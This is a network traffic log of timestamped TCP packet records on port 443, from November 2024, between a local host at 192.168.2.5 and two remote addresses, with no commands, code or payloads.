Nov 5, 2024 10:13:30.610603094 CET	49793	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:30.668982029 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.669035912 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.669076920 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.669203997 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:30.669219017 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.669276953 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.669305086 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.669389963 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:30.669398069 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.678647995 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.678709984 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:30.678714991 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.720213890 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:30.720220089 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.744647980 CET	443	49797	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.745331049 CET	49797	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:30.745348930 CET	443	49797	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.745789051 CET	49797	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:30.745793104 CET	443	49797	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.747812986 CET	443	49795	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.748068094 CET	443	49796	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.748105049 CET	49795	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:30.748128891 CET	443	49795	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.748313904 CET	49796	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:30.748331070 CET	443	49796	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.748358011 CET	443	49794	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.748450994 CET	49795	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:30.748456955 CET	443	49795	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.748711109 CET	49794	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:30.748730898 CET	443	49794	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.748759031 CET	49796	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:30.748764992 CET	443	49796	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.749052048 CET	49794	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:30.749057055 CET	443	49794	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.766819954 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:30.767504930 CET	443	49792	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.789467096 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.789527893 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.789702892 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:30.789710999 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.804486036 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.804546118 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:30.804552078 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.808906078 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.808950901 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:30.808955908 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.813738108 CET	49792	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:30.813746929 CET	443	49792	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.814637899 CET	49792	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:30.814699888 CET	443	49792	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.814791918 CET	49792	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:30.819361925 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.819420099 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:30.819426060 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.860567093 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:30.860574007 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.875468016 CET	443	49798	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.875905991 CET	49798	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:30.875925064 CET	443	49798	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.876575947 CET	49798	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:30.876580000 CET	443	49798	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.885529041 CET	443	49797	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.885588884 CET	443	49797	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.885615110 CET	443	49796	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.885668993 CET	49797	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:30.885670900 CET	443	49796	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.885720015 CET	49796	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:30.885992050 CET	49797	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:30.885992050 CET	49797	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:30.886008978 CET	443	49797	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.886017084 CET	443	49797	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.886079073 CET	49796	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:30.886090040 CET	443	49796	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.886111975 CET	49796	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:30.886116982 CET	443	49796	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.886987925 CET	443	49795	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.887084007 CET	443	49795	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.887412071 CET	443	49794	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.887476921 CET	49795	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:30.887840033 CET	49795	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:30.887851000 CET	443	49795	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.887861967 CET	49795	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:30.887870073 CET	443	49795	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.887929916 CET	443	49794	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.888650894 CET	49794	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:30.888827085 CET	49794	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:30.888837099 CET	443	49794	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.888859034 CET	49794	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:30.888863087 CET	443	49794	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.895396948 CET	49800	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:30.895417929 CET	443	49800	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.895585060 CET	49800	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:30.897931099 CET	49801	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:30.897962093 CET	443	49801	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.898412943 CET	49801	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:30.899179935 CET	49802	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:30.899187088 CET	443	49802	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.899246931 CET	49802	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:30.899425983 CET	49802	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:30.899439096 CET	443	49802	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.899748087 CET	49800	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:30.899759054 CET	443	49800	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.900410891 CET	49801	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:30.900424004 CET	443	49801	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.901743889 CET	49803	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:30.901755095 CET	443	49803	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.901834011 CET	49803	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:30.901989937 CET	49803	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:30.901998997 CET	443	49803	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:30.903991938 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:30.909873009 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.914096117 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.914144039 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:30.914150953 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.932971954 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.933003902 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.933062077 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:30.933077097 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.933124065 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:30.938257933 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.940761089 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.944979906 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:30.944988966 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.963474989 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:30.964816093 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:30.964828968 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.014414072 CET	443	49798	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.014467001 CET	443	49798	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.016722918 CET	49798	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.018161058 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:31.026575089 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.032222033 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.032268047 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:31.032277107 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.046452999 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.046483994 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.046494007 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:31.046502113 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.046547890 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:31.057097912 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.058471918 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.058523893 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:31.058530092 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.066557884 CET	49798	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.066576958 CET	443	49798	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.066590071 CET	49798	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.066595078 CET	443	49798	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.074167967 CET	49804	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.074189901 CET	443	49804	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.074251890 CET	49804	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.077600002 CET	49804	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.077613115 CET	443	49804	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.082808018 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.082837105 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.082855940 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:31.082864046 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.082901001 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:31.146224976 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.150947094 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.151123047 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:31.151134968 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.165345907 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.165390015 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:31.165395975 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.177263021 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.177293062 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.177309990 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:31.177323103 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.177360058 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:31.177794933 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.201138020 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.201186895 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:31.201194048 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.251106024 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:31.251120090 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.264975071 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.268578053 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:31.268594980 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.284255028 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.284317970 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:31.284329891 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.296001911 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.296030998 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.296092033 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:31.296101093 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.296140909 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:31.296439886 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.320049047 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.320096016 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:31.320106030 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.360498905 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:31.383569002 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.383667946 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.383701086 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.383737087 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.383742094 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:31.383750916 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.383768082 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:31.403213978 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.403419018 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:31.403425932 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.414794922 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.414829016 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.414860010 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:31.414865971 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.414911032 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:31.414915085 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.438644886 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.438683033 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.438689947 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:31.438698053 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.438730001 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:31.502412081 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.502525091 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.502563953 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.502600908 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:31.502613068 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.502650976 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:31.522286892 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.533777952 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.533819914 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.533885956 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:31.533895016 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.533943892 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:31.558083057 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.558147907 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.558178902 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.558186054 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:31.558195114 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.558232069 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:31.558237076 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.558404922 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.558459044 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:31.558464050 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.610474110 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:31.621519089 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.621581078 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.621637106 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:31.621645927 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.641077995 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.641114950 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.641143084 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.641191959 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:31.641205072 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.641216040 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:31.641359091 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.641385078 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:31.641392946 CET	443	49791	142.250.184.228	192.168.2.5
Nov 5, 2024 10:13:31.641419888 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:31.641449928 CET	49791	443	192.168.2.5	142.250.184.228
Nov 5, 2024 10:13:31.653732061 CET	443	49802	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.654234886 CET	49802	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.654264927 CET	443	49802	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.654715061 CET	49802	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.654720068 CET	443	49802	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.655072927 CET	443	49803	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.655425072 CET	49803	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.655443907 CET	443	49803	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.655896902 CET	49803	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.655903101 CET	443	49803	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.657943964 CET	443	49800	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.658284903 CET	49800	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.658302069 CET	443	49800	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.658679962 CET	49800	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.658684969 CET	443	49800	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.658736944 CET	443	49801	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.659049988 CET	49801	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.659063101 CET	443	49801	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.659437895 CET	49801	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.659441948 CET	443	49801	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.792212963 CET	443	49802	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.792218924 CET	443	49803	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.792372942 CET	443	49803	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.792457104 CET	443	49802	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.792459011 CET	49803	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.792500019 CET	49802	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.792608023 CET	49803	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.792625904 CET	443	49803	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.792637110 CET	49803	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.792643070 CET	443	49803	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.792805910 CET	49802	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.792823076 CET	443	49802	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.792833090 CET	49802	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.792838097 CET	443	49802	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.794831038 CET	443	49800	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.794955969 CET	443	49800	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.794998884 CET	49800	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.795005083 CET	443	49801	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.795295954 CET	443	49801	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.795857906 CET	49805	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.795862913 CET	49801	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.795885086 CET	443	49805	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.795969963 CET	49805	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.796195984 CET	49800	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.796202898 CET	443	49800	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.796211004 CET	49800	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.796214104 CET	443	49800	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.797004938 CET	49801	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.797012091 CET	443	49801	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.797023058 CET	49801	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.797025919 CET	443	49801	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.798994064 CET	49806	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.799021006 CET	443	49806	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.799149990 CET	49805	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.799161911 CET	443	49805	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.799165964 CET	49806	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.799222946 CET	49806	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.799232006 CET	443	49806	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.799843073 CET	49807	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.799854040 CET	443	49807	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.799916983 CET	49807	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.800492048 CET	49807	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.800497055 CET	443	49807	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.800903082 CET	49808	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.800920010 CET	443	49808	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.801021099 CET	49808	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.801306009 CET	49808	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.801316023 CET	443	49808	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.823338985 CET	443	49804	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.823838949 CET	49804	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.823853016 CET	443	49804	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.824438095 CET	49804	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.824444056 CET	443	49804	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.959302902 CET	443	49804	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.959492922 CET	443	49804	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.959570885 CET	49804	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.959958076 CET	49804	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.959971905 CET	443	49804	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.959980965 CET	49804	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.959985971 CET	443	49804	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.962023973 CET	49809	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.962049961 CET	443	49809	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:31.962122917 CET	49809	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.962377071 CET	49809	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:31.962389946 CET	443	49809	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.550339937 CET	443	49805	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.562285900 CET	443	49806	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.564959049 CET	443	49807	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:32.565473080 CET	443	49808	13.107.253.45	192.168.2.5
